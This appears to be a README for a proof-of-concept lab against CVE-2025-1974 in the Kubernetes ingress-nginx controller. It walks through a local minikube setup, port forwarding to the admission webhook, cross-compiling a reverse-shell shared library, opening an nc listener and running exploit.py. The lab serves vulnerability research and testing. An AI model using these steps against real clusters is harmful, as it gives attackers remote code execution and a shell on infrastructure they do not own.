CVE-2025-1974: Kubernetes Ingress Nginx Controller Vulnerability Analysis and PoC Environment Setup

Test Environment

• MacOS (M2)
• Ingress NGINX Controller 1.11.3
• Rancher Desktop (Docker)
• Minikube (Kubernetes)

Local Test Environment Setup (M2 MacOS)

Install minikube for local testing

minikube start --driver=docker

Configure the ingress-nginx-controller with the following command:

kubectl apply -f ingress-nginx-controller.yml

Port Forwarding

Check if the pods are running correctly

kubectl get pods -n ingress-nginx

kubectl describe <pod name> -n ingress-nginx

Forward the pod's 80 and 8443 (webhook) ports to local ports 8888 and 1337 (Port forwarding for both 80 and 8443 is required)

kubectl port-forward -n ingress-nginx <pod name> 8888:80

kubectl port-forward -n ingress-nginx <pod name> 1337:8443

Prepare the Shared Object Library

Change the IP and Port for the reverse shell connection in rev_shell.c

Compile on MacOS (arm64), and compile according to the target test environment

aarch64-linux-gnu-gcc -shared -fPIC -o rev_shell.so rev_shell.c

# Install cross-compiler
brew tap messense/macos-cross-toolchains
brew install aarch64-linux-gnu

Create AdmissionReview (optional, you can use existing generated files)

Convert to AdmissionReview format using kube-review (json)

./kube-review-darwin-arm64 create admission_test.yml > admission_review_req_body.json

Exploit

Prepare the reverse shell connection using nc

nc -lv 4444

Modify the host and port of nginx and webhook in exploit.py, then run

python3 exploit.py